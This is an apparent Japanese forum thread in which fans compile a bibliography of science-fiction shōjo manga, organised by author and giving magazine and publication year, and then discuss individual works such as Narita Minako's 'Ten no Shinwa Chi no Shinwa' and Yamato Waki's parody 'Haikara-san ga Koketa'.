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■二越としみ『地平球』1992〜1993青磁ビブロス.パッツィコミックス【整理人未読】
■二越としみ『地平球EX』第1部 (1991 PATSY8月号〜1994.7月号+書き下ろし)【整理人未読】
■西谷祥子「宇宙600年」(1970別冊セブンティーン7月号)【整理人未読】
▲西谷祥子「宇宙少女ポピー」(1977LaLa 5月号) 【整理人未読】
■西谷祥子「星のフェスティバル」(1979週刊マーガレット4・5合併号〜6号)【整理人未読】
*西谷祥子「日の輪・月の輪」(1981週刊マーガレット10〜15号)【整理人未読】
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【ぬ】
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※布浦翼『戦慄のウッフン美女ジェニー』 (BE-LOVE連載)1991講談社BLKC【整理人未読】
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【は】
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▲萩岩睦美『小麦畑の三等星』(1981りぼん10月号〜1982.10月号)
▲萩岩睦美『うさぎ月夜に星のふね』(1986〜1987りぼん)【整理人未読】
※萩岩睦美「不思議の国の金魚姫」(1985りぼん)【整理人未読】
▲萩尾望都『精霊狩り』(1971〜1973 別冊少女コミック) ←三部作のシリーズ 
■萩尾望都「11人いる!」「続.11人いる! 東の地平 西の永遠」(1975〜1976 別冊少女コミック)
■萩尾望都『スターレッド』(1978〜1979 週刊少女コミック)
■萩尾望都『銀の三角』(1980〜1982 SFマガジン)
■萩尾望都「A-A'」「X+Y'」「4/4カトルカース」 一角獣種シリーズ(1981 プリンセス他)
■萩尾望都『マージナル』(1985〜1987 プチフラワー)
▲萩尾望都『海のアリア』(1989〜1991ASUKA)
■萩尾望都『あぶない未来少年』(1994 ASUKA増刊)
▲萩尾望都『バルバラ異界』(2002〜2005 フラワーズ)
▲萩尾望都(原作: 光瀬龍)『百億の昼と千億の夜』(1977週刊少年チャンピオン34号〜1978.2号)
■萩尾望都「あそび玉」(1972 別冊少女コミック) 

18 :
■萩尾望都「6月の声」(1972 別冊少女コミック) 
▲萩尾望都「ユニコーンの夢」(1974 別冊少女コミック) 
■萩尾望都「左ききのイザン」(1978 SFファンタジア) 
■萩尾望都 (原作: ブラッドベリ)「ウは宇宙船のウ」(1978 週刊マーガレット) 
■萩尾望都 (原作: ブラッドベリ)「宇宙船乗組員」(1978 週刊マーガレット) 
▲萩尾望都 (原作: ブラッドベリ)「ぼくの地下室へおいで」(1978 週刊マーガレット) 
■萩尾望都「金曜の夜の集会」(1980 SFマガジン)
■萩尾望都「ハーバル・ビューティ」(1984 ぶ〜け)
■萩尾望都「きみは美しい瞳」(1985 ASUKA)
▲萩尾望都「スロー・ダウン」(1985 プチフラワー)
▲萩尾望都「真夏の夜の惑星」(1990 プチフラワー11月号)
▲萩尾望都(原作: 今里孝子)「マリーン」(1977月刊セブンティーン5月号)
*萩尾望都『モザイク・ラセン』(1982プリンセス9〜12月号)
△萩尾望都「キャベツ畑の遺産相続人」(1973週刊少女コミック15号) 
△はざまもり『夢狩り伝説』1992講談社KCフレンド【整理人未読】
▲葉月しのぶ『ルナ・シティ17』←「ルナシティ」 シリーズ 【整理人未読】
■葉月しのぶ『フリーソルジャー』(1990 Crescent 13〜21) ←未完【整理人未読】
▲葉月しのぶ「Ladiesプラネット」(1985ウイングス1月号)【整理人未読】
▲葉月しのぶ「エスパーくずし」(1985ウイングス2月号)【整理人未読】
▲浜田翔子『EXボーイ』 (1992ミステリーEX2号〜1994.11号)【整理人未読】 
▲速水翼「ジャック&エース」シリーズ (1985〜ウイングス他)【整理人未読】
  『ジャック&エース―Secret twin』『パール・ライオン』
  『波打ちぎわの海竜』『プライベート・パニック』『レティシア』
※はるえるぽん「US−アス−」(1995ASUKA10月号)【整理人未読】 
■春名里日 (原作: 新井素子)『グリーン・レクイエム』(2003Theデザート3月号,4月号)【整理人未読】
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【ひ】
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▲ひかわきょうこ「エイプリル・マジック」(1980LaLa4月号)【整理人未読】
△樋口橘『学園アリス』(2002 花とゆめ19号〜連載中) 

19 :
■日渡早紀『記憶鮮明』(1984〜1999 花とゆめ増刊)
■日渡早紀『ぼくの地球を守って』(1987〜1994 花とゆめ)
▲日渡早紀『ボクを包む月の光ーぼく地球次世代編』(2003〜2006 別冊 花とゆめ)
※日渡早紀「魔法使いは知っている」(1982 花とゆめ) ←早紀シリーズの第1話
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【ふ】
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▲風我明『BLOOD BOY』(恐怖の館DX) 1997リイド社(第1巻)←未完【整理人未読】
▲ふくやまけいこ『星の島のるるちゃん』(1993なかよし4月号〜連載)
■文月今日子 (原作: 新井素子)『グリーン・レクイエム』(1984少女フレンド8号〜11号)
=======================================
【ほ】
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▲星野架名「緑野原」シリーズ
   (1983花とゆめ11月増刊号〜1984花とゆめ〜1991, 1992 花とゆめPLANET増刊11月1日号)
 『ラピュータス流星群』『Psiクロン・シンドローム』『弘樹‐春咲迷路』
 『彼方‐まほろばフェスタ』『ルナティック・シネマ』『ヒューマン・ノーアの声』
 『ウィンター・ロケット』『青い銀河の夜明け』
▲星野架名「私がやって来る」(2003別冊花とゆめ5月号)【整理人未読】
▲星野架名「月色実験室」(2004別冊花とゆめ11月号)
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【ま】
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※槇村さとる『フェイク』(1991マーガレット2号〜8号)
*槇村さとる「シンパシー」 (1990マーガレット19号〜20号)
▲松苗あけみ『うるとらまりりん』(1997コーラス9月号〜1999.8月号)
▲松苗あけみ『友よ尾をふれ』(1996セリエミステリー8,10,12月号〜1997.2,4,6月号)
■真乃呼『緑の世紀』(1981リュウ7月号〜1983.1月号+書き下ろし)
▲魔夜峰央「ルル=ベル火星行」 (1978LaLa6月号)【整理人未読】 
▲丸山真理「2001年のトレジャー」(1996ちゃお8月号)【整理人未読】 

20 :
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【み】
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▲美内すずえ「バラ物語」第3話=未来編(1972別冊マーガレット1月号)【整理人未読】
※美内すずえ「モンキーロック」(1970別冊マーガレット4月号)
△三浦実子『緑夢 -グリーンドリーム- 』(初出未確認)1991〜講談社フレンドKC【整理人未読】
△みずき健「シークエンス」(1989ウィングス1〜2月号)【整理人未読】 
■水樹和佳子「樹魔」(1979ぶ〜け12月号) ←樹魔シリーズ
■水樹和佳子「伝説ー未来形ー」(1980ぶ〜け5〜6月号) ←樹魔シリーズ
■水樹和佳子『月虹ーセレス還元ー』(1981ぶ〜け4〜9月号)
■水樹和佳子「ケシの咲く惑星」(1985ぶ〜け12月号)
■水樹和佳子「月子の不思議」(1985ぶ〜けせれくしょん1月20日号)
■水樹和佳子 (原作: 光瀬龍)「墓碑銘二〇〇七年」(MILLENNIUM:00 SF Japan)
△水樹和佳子『イティハーサ』(1986ぶ〜け5月号〜1997.8月号+1999描き下ろし)
▲水野十子「心臓がとまるほど」 (1999LaLa5〜6月号→2003ザLaLa×メロディ5月号)【整理人未読】
*水野十子『遥かなる時空の中で』(2000LaLa2月号〜)【整理人未読】
▲水野英子「青灯幻想」(初出未確認) 1979朝日ソノラマサンコミックス『虹』に収録
▲水野英子「セシリア」(1964週刊マーガレット6〜11号)
*水野英子「トゥオネラの白鳥」(1962少女クラブ夏の増刊)
■水星茗「大天使は地球を夢見る」(1987 ぶ〜けDX) ←ピュアベイビー〜エンジェルシリーズの前身
■道原かつみ『パンドラの惑星』(1981リュウ1, 5, 9月号)【整理人未読】
■道原かつみ『キャウ・キャット・キャン』(1983リュウ1月号, 5月号, 1984.9月号, 11月号)【整理人未読】
■道原かつみ(原案: 麻城ゆう) 『ノリ・メ・タンゲレ―私にふれるな』(1983リュウ9月号〜1984.5月号)【整理人未読】
■道原かつみ『アル・カラルの遺産』(リュウ1985.1月号〜9月号)【整理人未読】
■道原かつみ『アルカライラ』(1989サウス第2号〜14号) 
■道原かつみ(原作: 麻城ゆう) 『JOKER (ジョーカー) 』(1986〜1991ウイングス)
▲三岸せいこ「夢みる星にふる雨は…」(1981ぶ〜けDX9月10日号)  

21 :
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【め】
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▲めるへんめーかー『光の回廊』(初出未確認) 1991角川書店あすかコミックス【整理人未読】
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【も】
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△杜野亜希「碧のミレニアム」(別冊花とゆめ2000年1月号〜2002年3月号)
■森脇真末味『アンダー(UNDER)』(1990プチフラワー9月号〜1992.3月号)【整理人未読】
▲森脇真未味「空白時計」(1978同人誌)【整理人未読】
■森脇真未味「錆色ロボット」(1997 ZERO vol.15)
*森脇真末味「天使の顔写真」(1997 ZERO vol.14)
△森脇真末味(原作: 新井素子)「週に一度のお食事を」(1984デュオ5月号)
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【や】
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▲柳原望『まるいち的風景』(1995 Lunatic LaLa3月10日号〜 LaLaDX2000.7月号)
*山岸凉子『日出処の天子』(1980 LaLa4月号〜1984.6月号)
■山口美由紀「おひさまの世界地図」(1995花とゆめ1号2号)【整理人未読】
△山口美由紀「音匣ガーデン」(1989花とゆめ3号4号)【整理人未読】
△山口美由紀『春告げ小町』(2001メロディ5月号〜2004.7月号)
*山口美由紀『ひとゆり峠』(1999メロディ8月号〜2000.9月号)
▲やまざき貴子『ZERO』(1996LaLa8月号〜メロディ2001.9月号〜2005.5月号)
▲やまざき貴子「ムシ」シリーズ (1986LaLaDX 〜1989LaLa) 
 「インセクター・シンドローム」「キュービック・ドリーム」 
 「リターン・トゥ・ミー」「アカデメイアの冒険者」
 「GONDWANA」 「マリー・ブランシュに伝えて」「ディア シェアラ」
▲やまざき貴子「アカデメイアの冒険者」シリーズ (1988LaLa増刊Winter〜1994LaLa)
 「アカデメイアの冒険者」「真夜中色の空と海」「真実の隠れ家」「おかえりなさい」

22 :
▲山下友美「超音速 -スーパーソニック-」(1993年花とゆめPLANET増刊5月1日号)
▲山田ミネコ『最終戦争シリーズ』(1977 LaLa〜デュオ〜2005 同人誌) 
▲山田ミネコ「妖魔の森」(1976 花とゆめ増刊ムフフ号)
■山田睦月(原作: 新堂奈槻)「オーダーメイド・パラダイス」1997ウイングスコミックス【整理人未読】
※山田睦月(原作: 新堂奈槻)「AS YOU WISH」2000ウイングスコミックス【整理人未読】
▲大和和紀『私の兄はヌードロン』(1970週刊少女フレンド)  
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【ゆ】
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■由貴香織里『螺子』(1992別冊花とゆめ4月号, 1993.5月号〜2001花とゆめ7〜8号)
■弓月光『トラブル急行』(1982週刊マーガレット15〜30号)
▲弓月光「エイリアン1/2」「エイリアン2/2」(1982週刊マーガレット2,3合併号.43号)【整理人未読】
▲弓月光『うっふんレポート』(1979週刊マーガレット1〜18号)【整理人未読】
■夢路行「緑野」(1986 ぶ〜けDX春の号)
▲夢路行『蒼天をみる想い』(1992クルー〜1994クレッセント)
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【よ】
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■吉田秋生『YASHA-夜叉-』(1996 別冊少女コミック〜2002 フラワーズ)  
■吉田秋生『イヴの眠り』(フラワーズ2003年8月号〜2005年11月号)
*吉田秋生『吉祥天女』(1983別冊少女コミック3月号〜1984.7月号)
※吉田弥生『マジカル・ダイナマイト・ツアー』(別冊花とゆめ1996年7月号〜1999.9月号)
※米沢りか『ちゃんと愛してる』(1994 LaLa増刊9月10日号, 1995LaLa4月号)

23 :
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【わ】
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△わかつきめぐみ『So What?』(1986LaLa6月号〜1989.7月号)
▲和田慎二「フランケン」シリーズ (1972別冊マーガレット 他)
  「わが友フランケンシュタイン』「谷間に鳴る鐘」「怒りの十字架」
▲和田慎二「ラムちゃんの戦争」シリーズ(1978プリンセス〜1983花とゆめ, 2000マガジンZ3月号) 
 「ラムちゃんの戦争」「さよなら林間学校999」
 「ラムちゃんの戦争[ワイド版]」「ラムちゃんの戦争2000」
■和田慎二「ばら屋敷の謎」(1972別冊マーガレット12月号) 
※和田慎二『少女鮫』 (1996〜1999花とゆめ) 
*和田慎二「明日香」シリーズ (1975別冊マーガレット〜2004コミックフラッパー) 
*和田慎二「快盗アマリリス」(1973別冊マーガレット11月号)
▲渡辺多恵子「ジョセフへの追想」(1985別冊少女コミック12月号〜1986.1月号)

24 :
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SF内容の詳細報告待ち作品一覧(作家名50音順)
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 初出年代は、誌名が不明のものは、初収録の単行本によって推測して下さい。
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【あ】【い】【う】【え】【お】
=======================================
□あずみ椋 「にぎやかな晩餐(ディナー)」(1995ミステリーDX)
  1997ヒット出版社(全1巻)
?□天城小百合(タイトル不明)
  ?年『魔天道ソナタ』第?巻に収録
□厦門潤『KPANGAEA』(1989〜1990ウイングス)
  1990新書館(全1巻) 
□厦門潤「DRAGON CYCLE」(1986ファントム倶楽部etc.)
  1993アスキー.アスキーコミックス(全1巻)
□ あもい潤「@テンション!」(1997〜2000コミックアイズ)
  1999〜2000ホーム社.集英社 EYESコミックス(全3巻)
□池田さとみ『スーベニア』(初出未確認)
  1991主婦と生活社ミッシィコミックス(全1巻)/2005朝日ソノラマ文庫(全1巻)
□石田拓実『パラパル』(2005クッキー3月号〜連載)  
  2005〜2006集英社(1〜3巻) 
□石ノ森章太郎『星の伝説アガルタ』(1974 週刊少女コミック40号〜1975.1号)  
  1976朝日ソノラマ/1984大都社(全1巻) 
  2006角川書店『石ノ森章太郎萬画大全集 第3期』に収録
□内田美奈子『アンバランス・トーキョー』(コミックバンバン1989増刊〜1990vol.7) 
  1990徳間書店(全1巻)
□内田善美「銀河その星狩り」(1977りぼんデラックス冬の号)
  1978集英社りぼんマスコットコミックス『秋のおわりのピアニシモ』に収録

25 :
□楳図かずお『洗礼』(1974週刊少女コミック50号〜連載)
  1995小学館文庫(全4巻) 
□岡野玲子(原作: 夢枕獏)『陰陽師』(1999メロディ8月号〜2005.7月号)
  1999〜2005白泉社(全13巻)
=======================================
【か】【き】【く】【け】【こ】
=======================================
□華不魅『鉄錆廃園』(1990PATSY 8号〜1996PATSY Deluxe vol.4) 
   1991〜1997ビブロス. パッツイコミックス (1〜6巻) シリーズとしては未完。
□華不魅『グラマラス・ゴシップ』(1993サウスSpring〜1998年サウス 8月号)
   1994〜1997新書館ウイングスコミックス(1〜4巻) 単行本未収録分あり。シリーズとしては未完。
□片山愁「学園便利屋」シリーズ(1986ウイングス5月号〜)
  1986〜新書館ウィングスコミックス『ブリザードセンセーション』他、計5冊
  2005新書館ウィングス文庫『学園便利屋』(全3巻) ←学園便利屋シリーズ
□亀井高秀「天使の化石」(?年 同人誌)
  1997スコラLCルチルシリーズ/2000・2003ソニー・マガジンズ『天使の化石』(全1巻)
?□川原由美子(タイトル不明)
 ・コメディタッチのアンドロイドのベビーシッター
□木々『1/2〜ニブンノイチ〜』(2004ミステリーボニータ6月号〜2005.12月号〜) 
  2006秋田書店(第1巻)
□喜多尚江『空の帝国』 (1994花とゆめ増刊〜1997)
  2005白泉社文庫(全3巻)
□喜多尚江『真夏の国』 (1990〜花とゆめ増刊〜メロディ1999)
  2004白泉社JC『真夏の国 完全版』(全2巻)
□小坂理恵 『とんでもナイト』(初出未確認)
  1997講談社なかよしKC(全3巻) 
□小坂理恵 『ヒロインを目指せ』(初出未確認)
  1998〜1999講談社(全2巻) 

26 :
=======================================
【さ】【し】【す】【せ】【そ】
=======================================
□佐伯かよの「エレクトリック・ジェラシー」(1980東京三世社.少年少女SFマンガ競作大全集8号)
   単行本未収録
□佐伯かよの「マルチ・インセクト」(1981東京三世社.少年少女SFマンガ競作大全集9号)
   1981東京三世社マイコミックス『黄泉からの声』に収録
□茶木ひろみ『おれは薔薇』(1988マーガレット4号〜11号)
  1989/2000集英社(全1巻)
□佐藤史生「精霊王」(1988プチフラワー8〜10月号)
  2001小学館文庫『精霊王―徳永メイ原案作品集』に収録
?□里中満智子(タイトル不明) 
  ・短編で、宇宙基地に勤める女医とアンドロイドが出てくる
□JET『螺旋のアルルカン』(ネムキ連載)
  2001〜2002朝日ソノラマ(全3巻) 
□志賀公江『ルルが風にのって』(1972週刊マーガレット36〜47号)
  1973集英社(前.後 全2巻)
□志賀公江『未来からきたベレル』(1973週刊マーガレット4,5合併号〜13号)
  1976集英社(全1巻)
□篠原烏童『純白の血』(初出未確認)
  1989〜1990朝日ソノラマ. ハロウィン少女コミック館(全4巻)/2001朝日ソノラマ文庫(全3巻)
□篠原千絵「天狼星(シリウス)に聞け」 (1992ちゃお9月号→ポシェット2003.9月号増刊)
  単行本未収録
□清水玲子『MAGIC』(1996LaLa9〜10月号)
  1997白泉社HC『MAGIC』(全1巻)/2002白泉社文庫『パピヨン』に収録
□須藤真澄「コーヒー・カンタータ」(初出未確認)
   1992/1999河出書房新社『天国島より』に収録
□鈴木ジュリエッタ『カラクリオデット』(2005花とゆめ19号〜連載中)
  2006白泉社(〜1巻)

27 :
□曽祢まさこ「おむかえがくるよ」(初出未確認) 
  2000ぶんか社ホラーM『おむかえがくるよ』(全1巻)
  2005ポプラ社.赤木かん子編SFセレクション5『地球最後の日』に収録
=======================================
【た】【ち】【つ】【て】【と】
=======================================
□高城リョウ「ゲット・ザ・ムーン」(初出未確認)
  2002新書館ウイングスコミックス(全1巻)
□高階良子(原作: 江戸川乱歩「孤島の鬼」)『ドクターGの島』(1974なかよし4月号〜8月号)
  1978講談社/2005ぶんか社ホラーMコミック文庫(全1巻)
□高野宮子「スペースカウボーイの逆襲」(初出未確認)
  1997角川書店あすかコミックスCL-DX『スペースカウボーイの逆襲』に収録 ←短編集
□竹沢タカ子「ラストゲイル」(1981少年/少女SFマンガ競作大全集12号)
  1981東京三世社マイコミックス『ラストゲイル』に収録
□竹沢タカ子『ボイルス・タウンの狼男』(1982ウイングス創刊2号〜1986.11月号)
  1984〜1985新書館ウィングスコミックス(1〜2巻)
□竹宮恵子『アストロツイン』(1970なかよし4〜6月号) 
  1979小学館『竹宮恵子作品集1 アストロ ツイン』
  1988角川書店『竹宮惠子全集6 扉はひらくいくたびも』に収録
□竜樹諒「こわれた時計」→「時計物語 -タイムストーリー- 」(初出未確認)
  1980秋田書店プリンセスコミックス『人形物語 -ドールストーリー- 』に収録
□田村由美「超能力労働隊WILD COM」(1999別冊少女コミック7月号) 
  1999小学館『超能力労働隊WILD COM』に収録 ←短編集
□筒井百々子『空の上のアレン』 1989クレッセントVol.10〜1995)
  1991〜1995東京三世社(全4巻)
□手代木史織(原作: 壁井 ユカコ )『キーリ〜死者たちは荒野に眠る』(初出?年 ミステリーボニータ) 
  2006秋田書店(全2巻)
?□手代木史織 『キーリ』連載の前の読み切り作品。←【前々スレ109, 114の記入洩れ】
  (タイトル不明)柴田昌弘柴田昌弘「ワフ・ヴァレーの神話」と似た要素。

28 :
=======================================
【な】【に】【ぬ】【ね】【の】
=======================================
?□長岡良子「古代幻想ロマンシリーズ」のうち、首とまゆり、小角が出てくる巻
  (作品名の特定なし)
□名香智子『ふんわり狩人』(1979週刊少女コミック20号〜1980.9号)
  2002小学館文庫(全1巻)
□名香智子「樹海の虜」(1981コロネット初夏〜夏の号)
  1982朝日ソノラマ.コミックス『樹海の虜』/1996小学館文庫『花の美女姫』第3巻に収録
□名香智子「黄金の少年」(1981コロネット冬の号〜1982年秋の号)
  1983朝日ソノラマ.コミックス『黄金の少年』/1996小学館文庫『花の美女姫』第3巻に収録
□名香智子『グリーン・ボーイ』(1989〜1990ASUKA)
  2000秋田文庫(全1巻)
□なかむらよしみ「フレヤ―女神保存仮説―」(1996別冊花とゆめ年5月号〜8月号)
  1996白泉社(全1巻)
□なかむらよしみ「らせんディスク」 (1996別冊花とゆめ年11月号〜1997.6月号)
  1997白泉社(全2巻)
□中山星香「エルブラントの青い瞳」(1979ビバプリンセス夏号)
  1980東京三世社『エルブランドの青い瞳』/ 1982秋田書店『はるかなる光の国へ』に収録
□中山星香『夜天の星特急』(1987グレープフルーツ 31, 32, 35号〜1988. 38, 39号)
  1988新書館ウイングスコミックス『夜天の星特急』(全2巻) / 1992秋田書店(全1巻)
□那州雪絵『月光』(初出未確認) 
  1994〜1996白泉社HC (全5巻)
?□成田美名子 タイトル不明
  ・近未来ハードSF設定 三話からなるオムニバス

29 :
=======================================
【は】【ひ】【ふ】【へ】【ほ】
=======================================
□葉月しのぶ「トラッキング・エイリアン」(1987ウイングス6月号)
  1987新書館ウイングスコミックス『ルナ・シティ17』に収録
□葉月しのぶ「デ・ジャ・ヴュ」(『ルナシティ17』単行本用書き下ろし)
  1987新書館ウイングスコミックス『ルナ・シティ17』に収録
□葉月しのぶ「モンスター・パニック」(1985ウイングス8月号)
  1986新書館ウイングスコミックス『タラッサ』に収録
□林ふみの(原作: GAINAX)『新世紀エヴァンゲリオン 鋼鉄のガールフレンド2nd』
  (2003ASUKA10月号〜2005.11月号) 2004〜2005角川書店あすかコミックス(全6巻)
□ハルノ宵子『プロジェクト魔王(アルドラ)』 (1991〜1995ASUKA増刊ファンタジーDX) 
  1992〜1996角川書店ASUKAコミックス(全6巻)
□聖悠紀『ファルコン50』 (1982ウイングス創刊号〜 )  
  1998〜1999 ビブロスコミック文庫『聖悠紀作品集』5〜8巻(計4巻)
□ふくやまけいこ『ゼリービーンズ』(初出未確認)
  1984/1993徳間書店(全1巻)
□冬凪れく(原作:矢立肇 富野由悠季)『新機動戦記ガンダムW(ウィング)』
  (1998ASUKAファンタジーDX8〜9月号)
   1998角川書店あすかコミックスDX(全1巻)
□星野架名「上弦の都市」(2005別冊花とゆめ年7月号) 
   単行本未収録
=======================================
【ま】【み】【む】【め】【も】
=======================================
□牧村ジュン「銀河のブリンセス」(1978なかよし8〜9月号)
  1979講談社KCなかよし『銀河のブリンセス』に収録
□マジコ『未完成NO.1』(2005ASUKA5月号〜2006.5月号)
  2005〜2006角川書店(全2巻)
?□魔夜峰央『パタリロ!』の中のタイムスリップもの、 ロボットもの、超能力もの。
  タイトル未確認

30 :
□水星茗『千の月の夢』(初出未確認)  
  1993集英社ぶ〜けコミックス(全2巻) ←カイエシリーズ
□水星茗『エデンの真珠』(初出未確認)  
  1992集英社ぶ〜けコミックス(全1巻) ←ピュアベイビー〜エンジェルシリーズ
□水星茗『A×ANGEL』(1997きららセーズ9〜12月号)
   1998秋田書店(全1巻)←ピュアベイビーシリーズ
□三岸せいこ「ヴィクトローラきこゆ」(1979ぶ〜け11月号)
  1981集英社ぶ〜けコミックス『ヴィクトローラきこゆ』に収録
□めるへんめーかー「永遠なる夢 永遠なるめざめ」(初出未確認)
  1987秋田書店プリンセスコミックス(全1巻) 
□めるへんめーかー「歌う竜」「花冠のローレライ」(1984ペンギンカフェVOL.1, VOL.3)
  1986白泉社HC 『歌う竜』に収録   ←【前々スレ112-113の記入洩れ】 
□もりたじゅん「ダニイル」(1969りぼんコミック11月号)
  1970集英社RMC『こんにちは初恋さん』に収録
=======================================
【や】【ゆ】【よ】
=======================================
□柳原望『ネットワーク・ポプリ』(1997LaLa6月号〜10月号)
  1997白泉社HC(全1巻)
□山口美由紀「印象ローズ」(2000別冊花とゆめ2〜3月号)
  2002白泉社HC『マジック☆マイスター』に収録
□夢路行「草原から来た少女」(1984 ぶ〜け5月号)
  2004 一迅社/スタジオDNA『夢路行全集 第1巻 緑野』に収録
□よしながふみ『大奥』 (2004メロディ8月号〜)
  2005白泉社JC(第1巻〜)
□よしまさこ(原作: 新井素子)『星へ行く船』 (1984週刊マーガレット39〜51号)
  1988白泉社JC(全1巻)
=======================================
【わ】
=======================================
なし

31 :
=======================================
【アンソロジーその他】
=======================================
□木住野七生(原作: 新井素子)「大きな壁の中と外」
  (1984笠倉出版社コミックマルガリータVol.4〜5で第1部〜第2部、
   1985同社comicセレクトVol.1で第1部〜第2部再録+第3部)
    単行本未収録
□くりた陸(原作: 新井素子)『二分割幽霊綺譚』(1983Helloフレンド11月号〜1984.1月号)
    単行本未収録
□『コミック☆星新一 午後の恐竜』2003秋田書店 (原作: 星新一) 
   漫画: JUN、木々、かずはしとも、川口まどか、白井裕子、鯖玉弓、有田景、志村貴子、小田ひで次
□『コミック☆星新一 空への門』 2004秋田書店 (原作: 星新一)
   漫画: 鬼頭莫宏、鈴木志保、安部潤、川口まどか、東山むつき、羽央、人見茜
============================================
============================================
SF内容が報告されている作品一覧(初出・単行本・主なSF要素または簡略紹介、箇条書き)は、
このスレッドの過去ログまとめ整理サイトにあります(約140KB)。
  ttp://www23.ocn.ne.jp/~lyric/sfgc/list_pre2.html#INDEX
 ↑現在更新作業中。最新レス反映および作品再読等で、簡略紹介文を改訂しているものもあります。
単行本リンク復刊情報等は RDさん管理の ttp://girls-sf.at.webry.info/
============================================

↓ では、SF少女漫画作品について、引き続き、感想意見などを語りましょう。↓

32 :
>1 乙
では、
SF少女漫画を語るスレッド★第2惑星 ↓ の続きということで。
http://comic6.2ch.net/test/read.cgi/gcomic/1159052141/568-

33 :
前スレ>>589
> 今市子「神々の花」「砂の上の楽園」は
> SFではないと思わせておいて最後でSFだったとする構造。
> その逆のパターンとして、リストにあってもいいのでは? >「洗礼」
> ただ、ストーリー構成力は、「洗礼」の方がはるかに大仕掛けで唸らせるね。
> 「砂の上の楽園」は伏線が色々張ってあった気もするけど
> 「神々の花」は夢オチならぬSFオチという気も・・・
>
> そういえば萩尾望都「バルバラ異界」は
> 連載1回目の出来事を2回目ですべて夢だったとする、意表をつく出だしだった。
「バルバラ異界」は2ヶ月に一回の連載だったから、まだるこしくて途中から単行本派になってしまったw
でも先が読めない展開だったから面白かったよ。
不老長寿エステに行ってた老婦人が、急に若い女に変身してしまうとかのファンタジー要素もあったね。

34 :
成田美名子の初期短編集(白泉社文庫「天の神話 地の神話」)にも
SF要素のある作品がありますよ。
「天の神話 地の神話」
核戦争後のはるか未来の地球(ニューヨーク)に、三種類の人類がいるという設定。
途中からSFの設定が出る。
それまでは、現代が舞台で妖精も存在するというような、ファンタジーになっている。
宇宙船で地球の外へ脱出したあと地球に戻ってきた民族・・・普通の人間=「天(ヘブン)」の住人
地球に残って地下に移動したあと地上に戻ってきた民族・・・「地(アース)」の住人
地球に残って遺伝子が変化し、空を飛ぶ超能力を持つ民族・・・「妖精(ウイルキー)」
「夢追い人」
学園物で、未来から来た転校生の少年が過去の先祖の少年と会う話。
未来から来た方はテレパスの超能力者。

35 :
前スレ>>588
>中山星香なら新書館から出ている「夜天の星特急1」に掲載の短編、「レヴィアタン」がSFっぽいです
>いきなり始まっていきなり終わるSSタイプ、異星生物、宇宙船等アイテムがSFっぽいだけかも。
前スレ>>594
>中山星香というと短編でこういうのがあった。
>中山星香「ぼくのコダクローム」
>分類としてはスペオペか?
>主人公は未開惑星を渡り歩く凄腕の野生動物ハンター。
>さまざまな珍獣を求めて僻地の惑星に赴く。
>あるとき、以前捕獲したある珍獣をめぐって襲われたところを、
>現地で知り合った娼婦に助けられる。
>その珍獣を狙っているのは銀河警察に追われている犯罪者だった。
この二作は同じ主人公(名前忘れた)のシリーズ続き物だったと思う。

36 :
>>34
SFとは関係ない話しですが
「天の神話 地の神話」 には、「エイリアン通り」のセレムが登場してる。
スターシステムかな?

37 :
新スレ立て乙華麗
前スレ>> 592
> SF短編集と銘打たれてるわけではないけど、竹宮恵子の「集まる日」から始まるシリーズなんか、シリーズ後半の作品はSF要素のほとんどない完全にファンタジーになってしまっている。
> その辺、前スレでもちょっと話題になってたけど。
> 逆に秋乃茉莉の「賢者の石」シリーズは全体としては歴史ファンタジーだけど、作品個々ではSF的なものも混じってる。
> 超能力を持つ子供の出てくる「琥珀の廃園」とか、人の精神を攻撃することによる人能力を持つ「オフィウクスの系譜」とか、宇宙からの生命体の話の「千の夜の旅人」とか。
竹宮恵子は、SF短編集「MIRAGE」の解説で
現実離れした世界を描こうと思ったのがいつのまにかSFになっていたとか語っていたよ。
したがって、「MIRAGE」(中央公論社の愛蔵版。
それを三分冊した中公文庫もある)には
初期の「ガラスの迷路」みたいな単なる異世界スリップ物も入っているし、
「集まる日」のシリーズは異世界ファンタジーな話も含めている。

38 :
前スレ>>593
> 前スレ>>552
> 「イブの息子たち」に似たタイプの作品としては、大和和紀の「フスマランド4.5」なんてのもそうじゃないかな。
> とある高校の寮の押入のフスマを開けるとそこは願いが叶う、望み通りの人間に変身できる異次元世界。
> 在原業平、ドラキュラ、彦星、かぐや姫など物語世界の有名人達が住人で、かぐや姫は宇宙服風の十二単着て、円盤で月に帰っていく。
大和和紀のSFなら「はいからさんがこけた」がいちばんSFらしいと思う。
知ってる人も多いだろうけど、「はいからさんが通る」の連載中期に
番外パロディとして書かれたもの。
主人公・紅緒が、異星の王国で、虚弱な領主の姉にあたるベニオ姫の替え玉として、
敵国の参謀や怪獣と戦ったりする、スペースオペラ風。
青江冬星→スター・ウインター将軍、のように、
キャラがすべて本編の主要人物なので、かなり笑える。
本編を読んでない人でも、筋は通っているので、
一応SF仕立てのどたばたコメディとして読めるようになっていると思うよ。
ちなみにオチは「紅緒が寝ているときに見た夢だった」というもので、
ラストシーンは本編の現代(といっても大正期)に戻っている。

39 :
大和和紀のSF仕立てなら「薔薇子爵」もそうなんだけど、
これは、主人公(両性具有の謎の青年ギデオン)の
本人も記憶がなくて謎だった、彼の正体が
明らかになる最終話に、ちょこっと出るだけなので(メール欄)、
ごく一部分的にSFという感じ。
舞台は現代のヨーロッパの田舎町で、全4話くらいのシリーズだった。

40 :
>>1-31
スレ立て&膨大なリストの整理、ホントに乙!感謝!

41 :
>>10
> ▲坂田靖子(原作: フレドリック・ブラウン)「プラセット」」(1983デュオ9月号)
この短編が収録されたアンソロジー本には、
もうひとつSF(サイエンスフィクション)がありますよ。
橋本多佳子(原作: フレドリック・ブラウン)「帽子の手品」(1983デュオ3月号)
 朝日ソノラマ 坂田靖子・橋本多佳子・波津彬子 共著『フレドリック・ブラウンは二度死ぬ』に収録
学生時代の仲間だった4人の男女が、時々集まって飲み会などをしているのですが、
その中に、地球人に化けて地球人類の研究をする異星人が混じっているのです。
でも仲間内では「地球人に化けている異星人が実在するのかも」という話題になっても、
みんなに冗談に伏されてしまいます。
ある飲み会の後で、仲間の一人の部屋で二次会になり、
なりゆきで手品大会になったところから「帽子の手品」というタイトルがついたものと思われます。

42 :
>>36
もともとセレムは「天の神話 地の神話」のキャラだったけどこの作品は商業誌では無理だと思ったので「エイリアン通り」に出したそうです。
ちなみに成田さん本人は「天の神話 地の神話」をSFだと言う認識で描いてます。

43 :
>>41
アンソロジーというか、これは雑誌「Duo」で三号連続企画でやった特集だったやつ。
